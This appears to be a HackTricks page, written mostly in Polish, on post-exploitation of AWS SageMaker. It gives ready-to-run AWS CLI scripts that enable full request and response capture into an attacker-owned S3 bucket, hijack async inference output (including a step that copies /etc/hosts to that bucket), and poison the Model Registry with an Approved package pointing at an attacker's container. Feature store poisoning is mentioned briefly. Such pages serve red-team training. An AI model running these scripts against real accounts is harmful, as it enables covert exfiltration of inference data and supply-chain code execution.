9.5 KiB
AWS - SageMaker Post-Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
Wykorzystaj zarządzanie endpointami SageMaker, aby włączyć pełne przechwytywanie request/response do kontrolowanego przez atakującego bucketu S3 bez modyfikowania modelu ani kontenera. Wykorzystuje rolling update o zerowym/małym przestoju i wymaga jedynie uprawnień do zarządzania endpointami.
Requirements
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3:
s3:CreateBucket(lub użyj istniejącego bucketu w tym samym koncie) - Optional (if using SSE‑KMS):
kms:Encrypton the chosen CMK - Target: istniejący InService real‑time endpoint w tym samym koncie/regionie
Steps
- Zidentyfikuj endpoint InService i zbierz aktualne warianty produkcyjne
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
- Przygotuj docelowe miejsce attacker S3 dla captures
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
- Utwórz nowy EndpointConfig, który zachowuje te same warianty, ale włącza DataCapture do attacker bucket
Uwaga: Użyj jawnych typów treści, które spełniają walidację CLI.
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
- Zastosuj nową konfigurację za pomocą rolling update (minimalne/brak przestojów)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Wygeneruj co najmniej jedno wywołanie inferencji (opcjonalne, jeśli istnieje ruch na żywo)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
- Zweryfikuj captures w attacker S3
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
Wpływ
- Pełna eksfiltracja danych żądań i odpowiedzi inferencji w czasie rzeczywistym (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket.
- Brak zmian w obrazie modelu/kontenera i tylko zmiany na poziomie endpointu, co umożliwia ukrytą ścieżkę kradzieży danych przy minimalnym zakłóceniu operacyjnym.
SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
Wykorzystaj mechanizmy zarządzania endpointem, aby przekierować asynchroniczne wyjścia inferencji do kontrolowanego przez atakującego S3 bucket poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To umożliwia eksfiltrację predykcji modelu (oraz dowolnych przekształconych wejść zawartych przez kontener) bez modyfikacji modelu/obrazu kontenera.
Wymagania
- IAM:
sagemaker:DescribeEndpoint,sagemaker:DescribeEndpointConfig,sagemaker:CreateEndpointConfig,sagemaker:UpdateEndpoint - S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucket (poprzez rolę wykonawczą modelu lub permisywną politykę bucketu)
- Cel: endpoint w stanie InService, w którym wykorzystywane są (lub będą) wywołania asynchroniczne
Kroki
- Zbierz bieżące ProductionVariants z docelowego endpointu
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
- Utwórz attacker bucket (upewnij się, że model execution role może wykonać PutObject do niego)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
- Sklonuj EndpointConfig i hijack AsyncInference outputs do attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
- Wyzwól async invocation i zweryfikuj, że obiekty trafiają do attacker S3
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
Impact
- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do kontrolowanego przez atakującego S3, umożliwiając ukrytą eksfiltrację predykcji oraz potencjalnie wrażliwych danych wejściowych przed i po przetworzeniu przez kontener, bez zmiany kodu modelu ani obrazu oraz przy minimalnym lub żadnym czasie przestoju.
SageMaker Model Registry — wstrzyknięcie w łańcuch dostaw przez CreateModelPackage(Approved)
Jeżeli atakujący może wykonać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na obraz kontenera kontrolowany przez atakującego i natychmiast oznaczyć ją jako Approved. Wiele CI/CD pipelines automatycznie wdraża Approved wersje modeli na endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego w kontekście ról wykonawczych usługi. Ekspozycja między kontami może zostać zwiększona przez zbyt liberalną politykę zasobu ModelPackageGroup.
Requirements
- IAM (minimum, aby zatruć istniejącą grupę):
sagemaker:CreateModelPackagena docelowym ModelPackageGroup - Opcjonalne (aby utworzyć grupę, jeśli jej nie ma):
sagemaker:CreateModelPackageGroup - S3: dostęp do odczytu do odwołanego ModelDataUrl (lub hostowanie artefaktów kontrolowanych przez atakującego)
- Cel: Model Package Group, który automatyzacja w kolejnych etapach obserwuje pod kątem Approved wersji
Steps
- Ustaw region i utwórz/znajdź docelowy Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
- Przygotuj przykładowe dane modelu w S3
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
- Zarejestruj złośliwą (tutaj nieszkodliwą) zatwierdzoną wersję pakietu modelu odwołującą się do publicznego obrazu AWS DLC
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
- Zweryfikuj, że nowa wersja Approved istnieje
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
Wpływ
- Zatruj Model Registry za pomocą wersji Approved, która odwołuje się do kodu kontrolowanego przez atakującego. Pipelines, które automatycznie wdrażają modele Approved, mogą pobrać i uruchomić obraz atakującego, co daje wykonanie kodu w kontekście ról endpoint/training.
- Przy luźnej polityce zasobu ModelPackageGroup (PutModelPackageGroupPolicy) to nadużycie może być przeprowadzone pomiędzy kontami.
Feature store poisoning
Wykorzystaj sagemaker:PutRecord na Feature Group z włączonym OnlineStore, aby nadpisać na żywo wartości cech wykorzystywane przez online inference. W połączeniu z sagemaker:GetRecord, atakujący może odczytać wrażliwe cechy. Do tego nie jest wymagany dostęp do modeli ani endpoints.
{{#ref}} feature-store-poisoning.md {{/ref}} {{#include ../../../../banners/hacktricks-training.md}}